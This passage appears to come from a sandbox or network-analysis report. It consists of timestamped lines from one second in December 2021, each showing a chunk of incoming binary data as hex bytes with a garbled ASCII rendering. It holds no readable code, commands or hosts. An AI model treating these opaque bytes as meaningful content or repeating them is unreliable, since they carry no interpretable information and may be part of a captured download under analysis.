2021-12-28 17:13:33 UTC	5	IN	Data Raw: 4e c9 d3 50 bb ad c3 6d 40 1d 5f ea 85 a9 09 d6 51 90 ab af a8 c3 dc 75 ba 00 aa 84 38 6d 22 13 b7 98 52 08 d2 c8 38 fa c3 4f e1 5e 50 c5 d2 97 2d 95 71 58 bb 73 21 70 4b 1e f8 3c 5c f5 d1 c7 e0 3b 1d a2 06 1f 97 35 27 17 c1 37 9f 12 99 5e 1d bf df 90 c8 6f de 8d 4d a7 cf 77 70 55 d9 7e 62 f1 ef ab b0 c1 d5 7a 5d 29 de af 82 88 d6 64 bd c3 55 b0 62 bc 2e 6a 63 27 57 15 b3 e2 59 c2 63 54 47 6d 9c b7 27 27 59 1f 45 c6 a1 ff a4 bc 90 70 5f 68 46 b7 bf ce b9 36 62 24 a6 06 d3 e7 11 68 14 54 6e 49 85 6a 93 56 d9 59 e5 21 ff 1b 84 12 99 c6 75 0e 1e d1 be 2d a6 ab 06 16 27 2a 9e a2 ed ee d4 08 94 78 b2 50 dd ad 0b 73 74 73 90 d1 8f d4 58 60 60 a4 e3 b6 ad d6 a6 25 fd d9 76 70 2f 24 bf 42 8e 51 b3 74 c9 a9 dc b1 0e a7 42 aa fd 4a 23 9d 2f c9 aa 61 64 67 ad 97 55 Data Ascii: NPm@_Qu8m"R8O^P-qXs!pK<\;5'7^oMwpU~bz])dUb.jc'WYcTGm''YEp_hF6b$hTnIjVY!u-'*xPstsX``%vp/$BQtBJ#/adgU
2021-12-28 17:13:33 UTC	6	IN	Data Raw: 28 87 cb 24 9e f2 73 cd 21 f3 e9 90 0f be fb 85 09 7f 53 b7 c7 c8 05 38 59 f3 c6 23 d0 4c 8d 90 c9 31 62 b0 12 d9 66 0f a1 02 13 71 df 5b 05 61 6a 38 7a 85 af f6 29 50 0e 7e fe 4e 4c b4 38 43 10 a7 de 2f d9 8b b0 1c bd 29 6c 0e d2 5d 02 62 12 26 ac 40 b9 a6 6d af 11 52 af c6 44 17 cc 3c 18 ef aa 12 84 ae b9 50 6e 14 67 98 f6 67 5a 8a 94 f6 96 23 f8 9d 81 d6 53 a9 95 28 bf ae 20 81 b4 67 5a 3a ad 42 ac dc 8d bf 5c 9e f8 c8 e9 c5 f1 3d 41 45 0c 4e 95 70 4d 01 82 56 97 58 fb f8 fd 23 14 91 40 77 d4 7e fc e3 e5 b6 1e 88 d1 43 de 40 33 e5 1e 9e 27 93 9b d4 4c 6e 22 7b a3 16 4c a7 46 93 22 26 48 fc c2 0f 25 bb d5 61 14 f5 bd 5d d4 e2 61 6e b5 6a 96 22 18 b8 4b b8 ae 01 95 d1 36 83 c6 e8 dc 31 98 ee 39 3a 08 ca 74 71 3d 85 4c 6d 14 07 58 cf 7d 1e ea 35 77 71 8f Data Ascii: ($s!S8Y#L1bfq[aj8z)P~NL8C/)l]b&@mRD<PnggZ#S( gZ:B\=AENpMVX#@w~C@3'Ln"{LF"&H%a]anj"K619:tq=LmX}5wq
2021-12-28 17:13:33 UTC	8	IN	Data Raw: 32 b3 ed a9 9a c9 da 97 9f 3f 18 3f e8 9d 54 0f 8a c0 04 8f 3a 5e 9d 38 ef 45 86 30 46 cc b6 18 57 49 99 82 55 87 64 c7 f3 cd 37 07 7a d6 02 1e e7 f8 14 f2 6c a4 4c 99 21 1d 2c b8 4f 17 f0 c5 a7 f0 65 19 17 2f bd cc 9c b3 bf 07 79 f6 f5 a7 00 79 a6 58 9f 8d 35 e2 f7 4c b5 51 4b 27 a9 66 49 84 0e 2f d0 8c 88 0f 6a ee e6 2f 43 b1 a2 af d8 39 04 bc 81 00 b0 70 82 14 c8 45 50 cd fa 20 08 51 4f 80 da 98 11 69 16 fd d1 a7 b0 cb 69 f7 be e3 be 42 f2 9a c3 89 96 b8 b8 18 61 8a cb a2 ea 92 01 0a 26 22 43 af 0e a8 de fe d0 3d d3 d7 39 31 03 58 e8 6c b7 fd 1c 44 99 27 59 bd ef 72 b6 a4 c9 c5 b0 ab 94 40 bc 1c 9d ea 98 70 d4 f3 dd e3 5c 70 e9 53 31 62 50 7a fa 97 be 91 2b 6c 20 50 41 37 a0 34 d8 d1 6b 9e 3a 38 47 a7 51 27 66 01 01 36 b2 93 10 ec 82 34 3f a8 58 58 a6 Data Ascii: 2??T:^8E0FWIUd7zlL!,Oe/yyX5LQK'fI/j/C9pEP QOiiBa&"C=91XlD'Yr@p\pS1bPz+l PA74k:8GQ'f64?XX
2021-12-28 17:13:33 UTC	9	IN	Data Raw: 91 56 62 60 21 eb 87 6e 59 91 b5 77 85 75 2a 32 ee 11 a0 56 82 bf 99 6a 1c 75 38 df a6 9c 35 0a cf 0c a7 eb aa ff 03 5a 5a b2 45 00 64 5d 55 d1 4c 3a 0f 27 b1 9f ab a7 c5 e8 03 eb 9f 69 25 0c 74 2d 96 cf 46 80 05 e8 b8 1e 76 f3 1e 08 4c ff 22 ed d7 e4 f9 05 6b 6e 63 1a 33 a4 1e 81 17 d7 78 27 02 94 1c 71 1f 25 13 9a 58 16 a4 c0 ef b7 5b 53 87 00 cb 43 65 96 96 b1 40 77 6e 57 ac 51 4c ab 9c 0c 28 6d b8 d4 a0 96 cd 44 b0 07 1b eb b7 5f 20 60 ce d1 74 1c 3b 34 68 e4 63 43 13 ca 08 af ec 60 b3 94 6d 48 b7 94 98 c6 5a 52 12 ea d7 8a c0 55 54 16 5b 4b 83 51 77 de c0 89 55 21 a0 7d 53 e5 e5 e8 e2 50 f3 67 c4 3f 63 ec 7f 99 5e 96 aa db 69 3d 4d a9 c0 a3 65 5d 70 22 c4 64 d4 52 7a ee 2c be f4 e6 a2 10 22 6b a4 2b ad 58 2d 0c a4 ef 0c 46 f4 db 9d ef ef c4 ff 6e 06 Data Ascii: Vb`!nYwu*2Vju85ZZEd]UL:'i%t-FvL"knc3x'q%X[SCe@wnWQL(mD_ `t;4hcC`mHZRUT[KQwU!}SPg?c^i=Me]p"dRz,"k+X-Fn
2021-12-28 17:13:33 UTC	10	IN	Data Raw: 03 cd f7 49 34 4b 44 f0 d7 40 1e cd 31 0d 6f 05 fa 0d 6d 49 60 55 90 39 de 77 5b d3 05 76 17 92 8b 24 f6 97 0d 7f 51 5c e2 3b 78 73 02 c4 63 9a 5d 94 78 e7 15 4d 80 fb 25 6c cb ba 9b 36 b5 4e 55 a7 6e 01 7a 30 26 74 37 82 39 e8 9d 79 32 4b c2 9e aa 35 ee f5 d5 32 48 fc 5a 6f e3 93 f2 e4 c4 a7 ec f6 a6 73 cf 2c 78 b8 6e 2e b6 1c bb ba 93 51 a7 8f 60 b5 b8 76 21 30 3f 24 e6 23 2b 20 2e 72 df 40 34 b5 66 96 91 7f a5 f8 ba 10 07 96 ec 0a c1 a5 bd ab 1c 11 7f a0 7e 60 eb 74 40 cc f4 e4 f1 13 b9 2a ae f3 f0 a2 42 84 86 3b e1 e1 1b cd d2 58 82 29 0e a6 20 cf 6d 33 39 b3 2b 39 b3 f0 49 c3 7c cb 78 d2 0e 7f 22 70 4d 11 46 e7 ec 32 2b 65 1d 0e 58 cd 79 77 c3 12 0b 5a 5c c7 ef 35 75 cb 20 bb b5 71 e8 89 02 ec d8 95 11 25 32 35 e9 09 68 78 48 3b 1c 52 2c 9f db 7e 14 Data Ascii: I4KD@1omI`U9w[v$Q\;xsc]xM%l6NUnz0&t79y2K52HZos,xn.Q`v!0?$#+ .r@4f~`t@*B;X) m39+9I\|x"pMF2+eXywZ\5u q%25hxH;R,~
2021-12-28 17:13:33 UTC	12	IN	Data Raw: 8b 9a 11 61 78 9e dc e7 b1 9b 2e 31 83 60 9d 89 d5 e0 0b 2f a1 55 18 48 7b 3f 34 0b e2 57 f7 42 e3 aa cc c4 36 f8 59 7d 64 56 26 24 9c 22 c5 35 c8 85 09 04 6c b2 5b 72 e1 cf a8 c2 87 d0 06 38 70 d1 88 ee 3e 4f d6 0a 63 4f e3 14 af 69 c3 d5 0d b3 25 b6 63 e9 87 cc 5e 3e a6 b0 f8 fc e0 6d c7 97 08 90 1b 7d ac 61 28 a4 07 12 a9 e2 01 55 b7 ff 6f 25 c6 e2 a6 4d 39 bc 15 ab 29 36 84 72 ac d6 0e 32 c4 18 f3 59 9b a8 1c 99 ef 96 97 bf 42 ab e6 f4 e9 ef a8 6f a4 0b 69 49 84 86 13 1c 13 9c 1c 5f 77 be 6b 75 bc 74 b1 dd 54 2d 95 0d 99 ee 0f 40 10 88 67 3b 0f fa 06 84 c6 29 78 a1 e5 26 f8 5a 0a db 02 17 1d 4c d3 da e0 3a 69 81 1c 0e ab 39 05 d5 eb 7f 64 bf 22 16 c1 de bf 00 3b bc b2 93 e3 3d 89 51 ec ed 8b f6 1e 19 56 06 07 6d 9b 9e 87 47 96 2d f9 f1 82 f4 09 06 70 Data Ascii: ax.1`/UH{?4WB6Y}dV&$"5l[r8p>OcOi%c^>m}a(Uo%M9)6r2YBoiI_wkutT-@g;)x&ZL:i9d";=QVmG-p
2021-12-28 17:13:33 UTC	13	IN	Data Raw: f8 3a 5b af 29 9a 9e 6c 30 3d a9 6f aa 63 d5 1e 5d cb f6 2a 8b 97 9a 4e b3 a6 e6 16 d3 75 3e b0 9a 8b 50 dd 01 af cf 8c 05 e2 53 9e 19 b2 d6 8d 52 93 ef 17 df 0a e3 e5 c3 07 8c d8 f0 f8 a7 59 12 41 f0 f6 49 a8 95 43 33 a9 29 10 4e 51 b7 5e 99 44 99 e6 b5 49 23 8f f3 c8 36 c0 20 5f 88 69 ca 46 9b c9 5e 1c da fd 01 2c 31 dc 81 b0 e3 29 c2 ed 5b 35 6e f4 42 0b 92 3f d8 11 f9 7a ef 9c b2 d9 a3 9a 5a a2 b7 16 7c e2 b5 e6 4c 23 de f4 79 71 d4 4f b1 61 76 58 06 07 ff 2a 48 d6 cd 99 6d 5e fb 18 60 c4 74 4d 57 ff be 6e 40 2d 4a 1c b0 bd 0c 9a 2d bc 08 1d 7e 21 9c 4d 1c 9c 73 7a 75 03 73 70 ba 9a a6 91 29 0a cc 4f b0 98 23 cf 75 7b e1 65 db d6 13 cb 7d 44 41 76 bc 84 6b 08 7e ec dc 58 45 44 8d 39 44 35 9c 1b 59 77 41 a4 cc 2e 46 f6 92 97 20 f5 f1 9b 2c da 8d e8 42 Data Ascii: :[)l0=oc]Nu>PSRYAIC3)NQ^DI#6 _iF^,1)[5nB?zZ\|L#yqOavXHm^`tMWn@-J-~!Mszusp)O#u{e}DAvk~XED9D5YwA.F ,B
2021-12-28 17:13:33 UTC	14	IN	Data Raw: d2 af d6 d0 e4 04 28 7f 80 56 17 a7 77 50 0b d8 4e 66 9e 11 1b 96 19 67 fa 23 2c 94 36 e7 8d 6e b5 96 0a 5b 1f f1 29 76 ee f8 eb 5e ca ed 28 a1 df 1d 04 f3 e3 d8 9e 87 4a b5 c0 d2 0f 0a 8b c7 7a 57 7f e7 e1 6f 42 56 ba 44 ba c3 da 77 a9 ae 2a 84 c7 a5 54 a1 29 a0 da f0 2d 09 a6 9a 4b 96 f3 8e 88 a9 61 88 ef 84 f9 7a a9 47 65 a3 fe a6 41 b0 69 b0 c6 7c e0 00 28 bc cd 31 0a f3 89 8c ef f1 51 fa ae d2 35 83 6c db b4 41 21 bc 88 1f b2 36 48 af 32 fa 28 eb 70 90 77 22 4a 01 8b ca 4a f4 b0 6a 32 52 ae 05 5f 95 9b 79 ca 0b c9 36 d8 c7 88 1f 3b 81 b1 fb fa 21 ec 2d 10 c3 18 c8 e7 67 5c 39 3a a2 21 27 01 c5 66 d5 2d e4 1f 83 f7 b9 da 0f bc 0a e1 75 e4 56 23 e4 47 00 0a eb a1 a6 ff b9 9a ab 02 5d 22 46 39 bc 4d 05 0f d4 21 0c 11 d4 49 12 1f 67 82 bb 10 01 05 4b f0 Data Ascii: (VwPNfg#,6n[)v^(JzWoBVDw*T)-KazGeAi\|(1Q5lA!6H2(pw"JJj2R_y6;!-g\9:!'f-uV#G]"F9M!IgK
2021-12-28 17:13:33 UTC	16	IN	Data Raw: 97 d6 dd df 1b 27 d4 40 78 00 c5 d4 be 45 13 02 47 91 21 79 cf e2 b8 47 4b fd 68 61 cc fe e5 e5 b0 92 d3 0c cf 3f d4 6a 2b 9f ca bf f1 f3 97 b7 8a 53 be ff 99 9a d1 84 ce c8 a4 19 3d f7 f4 f5 16 ce 6a 6b 11 39 bc 5d 52 71 f7 17 ab 74 46 60 2b 4c e6 ed 31 4b 94 6c 0b 80 bd ec a2 56 4c 0d 37 b1 3f eb 24 a0 65 27 ed 36 24 d4 e2 e5 69 7d 29 e3 d8 79 3a aa 71 9c 68 65 2e 5e 06 da e9 98 97 96 17 a4 6a 6f d9 22 e6 94 32 18 d1 03 8d 2c d5 df 7f 68 79 18 17 59 f1 c3 59 4a 32 64 a4 3f 7e 3c db 70 37 a7 5c b5 d3 7f af bd 9a 2c 25 f7 7a 09 2d 51 ef db 8b a0 36 01 8a e0 73 2f 59 1f 82 34 64 44 00 11 88 d9 70 8b 96 d6 a9 77 a7 c1 82 60 84 c0 25 2f c6 06 6c a6 cc d5 72 c2 07 e8 b0 16 ad 0f f1 45 49 19 69 3f 05 10 83 62 a9 1a d2 74 2e 2b 4a 5c 2d cc 0c 06 7f 95 23 6d db Data Ascii: '@xEG!yGKha?j+S=jk9]RqtF`+L1KlVL7?$e'6$i})y:qhe.^jo"2,hyYYJ2d?~<p7\,%z-Q6s/Y4dDpw`%/lrEIi?bt.+J\-#m
2021-12-28 17:13:33 UTC	17	IN	Data Raw: 0b 73 b2 c9 ec 0d 75 03 e0 a7 75 c2 6f d3 ad e3 17 46 b9 cf 64 80 e4 58 44 58 78 49 7d 0a cd a3 b1 18 48 53 f8 4e 73 4e 5b d5 d3 71 8f b6 2f d7 7b 8e bb 7c 02 80 6c 5f f6 b0 fa 87 68 66 c8 93 ed 58 63 9a 44 51 bc bb a7 28 84 cc ef 11 91 a0 92 b5 51 12 0b 1d 2a 82 54 c3 9e 3b e3 96 97 04 05 59 98 7f 6c 16 b5 15 78 b6 57 4b c0 0f c1 4d c2 fb ee 3d 0f 55 10 1a a2 11 c2 d3 ab 7f 44 ca 7a 16 05 6f 5a d6 6a 2d 2c a9 25 9d 0f 9d 7b 9b 45 00 e9 b0 30 a8 af 12 49 f0 a2 0c 5f 4f bc 1e 38 6f 62 0e c1 42 21 58 87 c0 f8 6a 07 f1 03 0d d0 8e 47 84 78 17 f0 fd 93 fc 1e a3 3b ca a2 3c 8c 5e c7 36 8b 55 74 4a 13 a8 2f d1 9b e3 f7 44 46 29 c5 57 6f 2c c5 a5 d5 8e 3d 6d 81 fe 66 b8 e7 a6 dc f6 b3 d8 1d 46 e7 01 67 17 b3 f0 fe f4 04 ce 7a 92 f5 9f 8f 06 cf c6 15 4f a0 e8 9b Data Ascii: suuoFdXDXxI}HSNsN[q/{\|l_hfXcDQ(Q*T;YlxWKM=UDzoZj-,%{E0I_O8obB!XjGx;<^6UtJ/DF)Wo,=mfFgzO
2021-12-28 17:13:33 UTC	18	IN	Data Raw: 0d 84 fb 98 c5 1d 94 b3 16 3b 3f 19 be 11 e9 fb 60 28 b1 e8 37 fa e8 59 35 19 d8 77 72 3e cb a2 9b 12 b5 64 3a cb 14 cd e2 03 8a ee 2a 7f bb 98 c2 0d 68 47 76 34 24 66 ff 6e c3 1a 38 35 90 6b f6 65 c3 da cd c2 31 c8 18 16 4b 28 ab ec 61 15 ae 07 d2 50 7b 69 51 2d 6b 78 c1 ae 93 5f e6 6e f3 9e 6a 58 94 a9 a6 73 f0 f1 e4 ac 11 2a ac 0c 4a a6 02 77 a4 54 83 2b e6 e9 40 9d 61 12 3b 77 02 99 6e a8 a3 aa 7c 9b 64 da 0e 95 48 50 43 61 4b 7f 65 a9 b7 7d 3c 63 10 60 9c 58 dd 49 96 21 de ee 9d 0f 27 d1 17 15 bc 8b 95 55 8d c8 93 92 65 82 3e 22 0a 4f 81 69 a5 04 12 d9 8b 6d 1b 6b 2a f2 dd 2b d8 db 1b ef 8a 21 68 a8 84 a2 98 f1 18 38 f5 39 15 e1 8c bb e2 ea 09 0b cf 36 c2 e0 86 a9 a3 13 99 ff 9d a1 db e3 75 65 3d f9 27 28 3f 4b fb 4d 9e b9 47 cf db 6f a6 18 df 1a a8 Data Ascii: ;?`(7Y5wr>d:hGv4$fn85ke1K(aP{iQ-kx_njXsJwT+@a;wn\|dHPCaKe}<c`XI!'Ue>"Oimk*+!h896ue='(?KMGo
2021-12-28 17:13:33 UTC	20	IN	Data Raw: 6a 89 43 fd 7c 4a 9d ed 1a b1 b4 ba c2 8d a0 51 33 c2 17 54 87 4e d3 d2 5f 68 dd 5d 09 3f 72 86 0c 87 a7 4e 78 fc d3 4e 57 b8 8b 4d 1e 1a 13 31 1d cc f9 eb ca 51 7e aa d0 bc 16 04 99 dc 70 31 5e aa e5 81 e9 07 61 f6 c6 67 af 85 20 d0 81 6c 43 cb f0 6a 8b ba 8f 42 76 f8 cd cd 9d 87 1d 8f 5c 1d 44 9a bc ad 4d a2 53 c4 cc 69 09 a4 ec 75 ce 53 ef 0d e2 de f8 72 a9 2d e0 c7 8c 60 6d 6a ca 42 be 97 aa 34 39 df 5f 28 16 09 2d d3 1b df 09 df aa 49 b1 7f a1 06 14 12 d4 f8 4d 61 b5 58 bb 90 c9 00 40 ee 11 db f0 1d 54 97 86 c3 67 c0 31 6f 51 d0 8c 5f 92 31 a7 ea 83 d7 bf 6e aa 7e 6d f9 71 b1 70 5f bd 65 b4 cb ca c3 86 f3 05 ab 02 3b 3c 31 72 b6 3c 29 0d 80 7a 59 3b 34 ac ed 92 40 ae 72 09 a2 33 32 ad e5 82 2c 47 14 df c4 df 0f fa 95 43 b3 3d d1 fd f7 56 6d 8e fb ca Data Ascii: jC\|JQ3TN_h]?rNxNWM1Q~p1^ag lCjBv\DMSiuSr-`mjB49_(-IMaX@Tg1oQ_1n~mqp_e;<1r<)zY;4@r32,GC=Vm
2021-12-28 17:13:33 UTC	21	IN	Data Raw: eb fd fd f5 78 61 50 09 e2 6e 86 d3 ef e9 10 46 0d 85 41 4f 70 2e 56 03 91 36 2e 9a 18 7b 5f c2 d6 1e fd d3 16 e4 96 86 8c 89 1a 85 1b 22 02 f5 32 0e d4 ab dd 6e 13 30 06 d1 c7 80 d8 27 2e 3a 54 e8 1b 6b eb a5 e9 f4 b2 26 ce c3 86 50 e7 14 04 eb 15 2a e8 d8 97 0e a5 37 0f bf ea 9c 83 6c 90 c7 fa 1b b6 22 97 bf 89 8a 00 37 e7 d6 1e 4d 0d 14 2f 0f 68 7d 2a 85 b8 e8 20 f3 d2 e4 e6 8f 4b 46 30 3b b9 ff 4d 0c de 99 be b3 1d 6e 22 08 0d 79 7b e6 65 f8 c8 dc 0b 43 63 7e 54 09 4b b7 39 39 ae 38 a5 94 f5 d6 a0 ad 04 53 0e 40 af f5 8e 85 48 2f 09 e7 de 20 11 d5 c0 3b a4 88 f6 e7 78 db 57 dd ad a5 30 a8 4f ee 9a 5d 46 1d d3 21 33 5b 52 51 04 d1 3d ee 41 dd a6 a8 ad 53 95 3a d2 6a a1 0e e6 87 1b f0 21 a7 0e 5f fb 00 b8 64 8f 7f 1a fe a9 15 12 e7 a1 9c 6f 24 56 3d 43 Data Ascii: xaPnFAOp.V6.{_"2n0'.:Tk&P7l"7M/h} KF0;Mn"y{eCc~TK998S@H/ ;xW0O]F!3[RQ=AS:j!_do$V=C
2021-12-28 17:13:33 UTC	22	IN	Data Raw: 98 0b 44 38 d6 71 61 51 c3 6a 46 a3 be b7 68 5e ec 2b b1 27 6a c1 95 5a 07 ae 2a 98 35 bf 5a 75 0f 68 9f ab 66 71 78 d4 8c 55 1f a3 7e 5e e5 ad 05 8b 11 aa ad e2 13 cf bb 92 15 40 05 61 b7 32 ec e2 c6 2b aa a4 1d 11 08 44 0e e2 51 09 b5 d3 62 c8 a0 ec c1 5a a0 a7 1f f5 f7 6f 3b 21 c5 68 c8 60 8d 68 06 a3 9a 78 bc 94 89 50 bd 88 6b 7e d5 b6 80 f0 98 d2 d9 4c cd 7b bd 33 9d aa 00 81 b0 60 88 25 32 36 35 83 28 98 e1 7f db 7f b1 1a bd ce 19 58 15 3f 53 0a ce ad f4 c3 35 e1 21 bf 03 87 0d ec 7c 7e a3 83 a4 58 2f 34 62 ea 67 c8 0d 2b f7 97 c9 77 52 c3 cd 2a 18 f2 e7 5e 87 86 bc 62 f1 c8 21 a2 46 d4 f2 2b 5e d2 fa 9a 6b 5b 63 a9 f7 ae e9 bb 44 c4 82 31 ea a6 e1 01 aa 53 a8 52 b3 05 72 d2 88 26 c2 57 9b bd b8 b4 7b 7d bf ad b6 be cd fb 8a c5 af e8 0e f0 57 67 10 Data Ascii: D8qaQjFh^+'jZ5ZuhfqxU~^@a2+DQbZo;!h`hxPk~L{3`%265(X?S5!\|~X/4bg+wR^b!F+^k[cD1SRr&W{}Wg
2021-12-28 17:13:33 UTC	24	IN	Data Raw: 76 75 46 64 b4 80 af f5 7e e1 89 c6 72 e2 92 dd 13 22 2b d8 2b 8f 81 34 2a e8 2b 96 bf 03 27 c2 5d 98 d8 a1 9a 98 1e 2a 9f 2e 95 98 6c a6 31 f1 2b 49 02 9e 06 28 18 80 59 dc a6 1a c1 d3 aa 07 6c 59 74 97 7b a1 7a 56 85 72 e8 6f 8f 37 11 f9 7b b2 8d 38 b5 ef 84 05 d4 18 d6 6e a5 af c0 96 be 4c c2 2d 17 da 11 c5 7e 36 09 20 0c 50 dc 93 35 90 f5 0f 77 c9 c1 42 06 a1 7d 39 af 50 bf 20 26 56 36 a5 32 2f 74 d2 01 fa 8c 40 ed cd 7b 4c 1f 79 07 e4 ee aa ed 61 d2 02 74 13 fd da a1 97 f9 4a 4f 35 b1 1b 3c f0 9a c7 b3 a9 1d 17 18 02 d1 39 8d d8 9d f2 2e 92 7b b4 47 dc dc 6a 87 d9 2c 73 9e 95 1c 2b 88 10 fd e4 4a 8a 44 a0 9e f7 2c 15 ae 41 6f ed 3d 6c 28 b4 5e 73 a8 18 c9 b9 df d0 cf 71 62 18 7c 0a a2 40 0b 1b 56 b5 e8 aa af ca f2 ed ba bb e1 55 4f 99 0e 90 60 74 11 Data Ascii: vuFd~r"++4+'].l1+I(YlYt{zVro7{8nL-~6 P5wB}9P &V62/t@{LyatJO5<9.{Gj,s+JD,Ao=l(^sqb\|@VUO`t
2021-12-28 17:13:33 UTC	25	IN	Data Raw: ca 97 18 7f 25 5f 9e e9 18 3b ee e1 2a 88 c7 d2 3b 8b 5a 81 dd 63 b8 33 5c 91 28 83 e9 97 2e 77 45 1c 39 46 8f 05 bd e8 62 1f 5e 10 22 bd 31 df 5f 53 d7 00 fe 6d 6a f4 ff 08 60 24 e9 1e ca 5b 6e e3 6d 64 f0 68 98 73 ef 4c c0 80 cf 68 2d 6a 56 95 b1 87 63 68 85 3f 1f 27 f2 64 b9 7b f4 1c ba d0 25 30 64 8e 23 b2 3d 10 77 3c 1c bc 40 8a b1 81 c2 77 a2 86 c0 29 c8 c7 24 06 78 44 7a 3c e3 2b 93 99 ae 69 9c 45 f6 af 66 f8 ff 07 da ae dd c6 ce 85 8c e6 ff 63 f9 20 35 58 de 43 a6 92 35 21 50 f9 51 a8 91 be 02 5f 32 ae 82 bb bf 19 9f e1 59 9b 3c d3 de 19 83 77 c9 49 02 06 14 09 79 e6 23 9b 51 ed cb 18 71 d5 3f 1d 5e c2 82 dc 11 df 0f 6f e3 45 a6 de 60 ef cc 5d 14 d9 d3 3a 38 01 f1 bc 92 c3 67 23 5b 30 95 15 2f ad 61 b9 01 a4 18 04 fd ee c6 e0 e6 0a 8f 9d 7f b5 e8 Data Ascii: %_;*;Zc3\(.wE9Fb^"1_Smj`$[nmdhsLh-jVch?'d{%0d#=w<@w)$xDz<+iEfc 5XC5!PQ_2Y<wIy#Qq?^oE`]:8g#[0/a
2021-12-28 17:13:33 UTC	26	IN	Data Raw: cf 6e fe b0 d6 c3 d7 27 10 e5 24 16 fc a7 fb 07 96 12 28 e1 7d b1 bf 0e cf bd 3c 72 e2 2e cd 48 7f ca 79 87 bb ef 02 64 34 8e fe 9a a7 79 10 7c b5 d3 2c 6c 33 7a f7 a6 2b 19 f7 0f 95 7b df ee a8 96 52 35 51 f0 f7 61 93 17 47 f7 54 a5 ce 92 c6 f3 72 f3 e5 2c 9b 85 e7 70 e4 cd 2c 24 7b c7 70 46 cb ac 35 b7 1f b9 1a 93 fb 71 87 93 82 4b 41 5c 28 97 b5 6f a5 c5 43 5c f4 d7 9f da 1b 87 d8 5e 97 d6 57 c3 b7 e1 50 ac ed 8d 9c d7 c7 16 e2 90 9d 86 f7 fc 1d ed aa b5 5b 10 83 86 28 45 dc 5d db 70 2a 00 33 f7 6b f0 9c b9 3c 49 3d ff d4 1f 35 a6 4a 95 37 36 80 be 01 52 c8 52 a8 47 c6 7f eb 55 5c 2a 91 0a bb 30 85 7e 90 dd 87 af d8 0d e4 d3 5c a2 65 71 4d 6f 2d b7 92 2e 18 90 67 ea 91 c0 47 c3 f3 9f 44 7c 10 d9 a9 8e 23 34 e6 a7 21 a9 c6 6c ba 1b ef 91 7f 1f e6 a7 8a Data Ascii: n'$(}<r.Hyd4y\|,l3z+{R5QaGTr,p,${pF5qKA\(oC\^WP[(E]p3k<I=5J76RRGU\0~\eqMo-.gGD\|#4!l
2021-12-28 17:13:33 UTC	28	IN	Data Raw: 02 16 e7 24 85 56 39 75 d6 c4 9b e9 2a 43 50 31 5b 03 3e f1 a6 65 ec bd 6d b1 d1 cc 11 8e 04 37 93 b4 cd 9f 47 ac 1a 2a 9b 2f a4 72 91 e8 af ee 32 76 43 00 05 35 ef 72 47 05 c5 07 aa 1d b1 19 f3 03 18 f9 40 68 58 4c 6d e7 a6 69 7f 7a ec 38 99 04 62 aa e0 77 8f 64 8d ef c1 bc 6b 60 a3 5e de 61 ed b2 37 76 9e 5e 8c 3f 12 0b d0 79 83 42 fe 0e 17 b0 86 c3 da 9c f0 53 d1 9c 69 23 44 5f 6b 86 6d a1 aa de 67 c0 42 dd 93 70 c5 e3 2f 63 6b c9 ca aa 75 68 2f 42 51 a1 c5 e9 80 c2 9b 71 db c8 a1 31 cd 8a d4 93 28 74 8e 1b fa 42 3e 7b 6f ab b5 5e b9 b8 44 e8 9a fa c9 13 df 75 6c c5 4b ec 07 0a 9b 0e 70 69 95 f6 83 ff c4 f0 b7 45 eb d5 04 89 8e 44 af 93 65 49 f2 18 39 c3 00 ce ee 7a 51 85 78 32 2e 13 2f d3 75 d4 71 b8 23 2b 3c 88 e5 e7 0d 76 2a dd 86 d9 f5 b8 b8 7a 82 Data Ascii: $V9uCP1[>em7G/r2vC5rG@hXLmiz8bwdk`^a7v^?yBSi#D_kmgBp/ckuh/BQq1(tB>{o^DulKpiEDeI9zQx2./uq#+<v*z
2021-12-28 17:13:33 UTC	29	IN	Data Raw: b7 96 fa 1d d7 b2 9a ea 0a cc 37 6f 37 3d a9 1a ed ca b3 83 db f2 35 b5 e6 e1 e0 5d bd 84 92 51 d2 0a 9f 6c 2a 5c ba 46 80 bd 10 8c de 89 5f 1c 95 04 41 f2 4e 15 ae a8 e5 e2 68 1e 0b f6 08 83 72 a4 55 5e bd 79 46 68 85 44 0d da f2 71 18 bb 8f 9a a7 a2 77 76 af 04 e4 a7 50 3a 3f 57 df 59 d7 2a c5 bf 95 b0 e6 95 ef 7d 8a 54 6b 84 cb 33 75 09 1e 80 e6 76 63 bf 2f 2f c6 f6 c2 70 49 0a d3 ff ab 68 c3 6d af 90 6a c4 1a a3 47 80 fe 8b e5 31 0f c9 2c 49 1d 4f d7 04 f2 64 f4 86 e6 90 a8 db 9b b5 ba 73 83 4e 09 57 53 0b 51 66 26 af 64 d8 b8 ee 88 4a 55 9e 7f 32 d5 b3 a9 66 54 54 db 7c 75 a3 34 7f 5e 6d da a7 74 f2 9e 54 8e 83 92 b2 15 93 53 3a 09 2c 76 1f af e8 65 e7 65 0e d3 5b 04 ca 28 5c ee 7f d6 08 bb de 38 2c 2c 97 ed 7c c4 31 8b e0 20 4e ca 39 6f ea 81 1c 99 Data Ascii: 7o7=5]Ql\F_ANhrU^yFhDqwvP:?WY}Tk3uvc//pIhmjG1,IOdsNWSQf&dJU2fTT\|u4^mtTS:,vee[(\8,,\|1 N9o
2021-12-28 17:13:33 UTC	30	IN	Data Raw: 3b bf 51 fd 72 aa 2b 8f d9 2d 14 36 32 71 d3 99 f8 a4 22 0e 7d 4f 94 87 a4 e7 05 c2 75 a9 a0 02 2f c0 0d 20 09 21 6f f6 82 14 60 d5 1c b1 3a 31 73 a4 28 80 26 2a 45 b9 ef f9 4e e5 84 05 30 44 be 4e 81 7f 8a c7 a0 d6 69 7b f5 36 06 46 f4 a7 40 3e 2d 17 ad c6 94 57 12 50 71 3e 0c f6 ac 98 ef 34 d3 bc 93 d5 5b 05 05 db 95 24 35 e7 bc 2a 37 b0 5a da 66 a3 cd f1 d9 da ce a6 52 a5 71 a7 48 15 33 30 c4 4c 1e cc f5 3a f8 0c 23 f2 4b 75 ef 4d b7 31 0a 6c 73 fa 06 79 92 05 d9 ac b7 ef 6f 21 1a b6 d9 00 f3 24 99 c9 3f e5 8d fb ab 69 c6 b1 6f 23 a8 6d 3f a0 14 7f d2 e2 92 b8 27 af b5 21 8e 7e 1c 14 d2 23 6e e7 9a 4a 74 7e b1 06 86 43 2a 3f 46 5b f0 9f d2 4a 98 a6 97 c2 8e 84 9c 4d 7d db 3c 20 e5 cf b9 3b b7 04 4e 9e 3e a1 ae f7 40 ee 14 ac c2 8f 2b 94 22 ec db 07 4d Data Ascii: ;Qr+-62q"}Ou/ 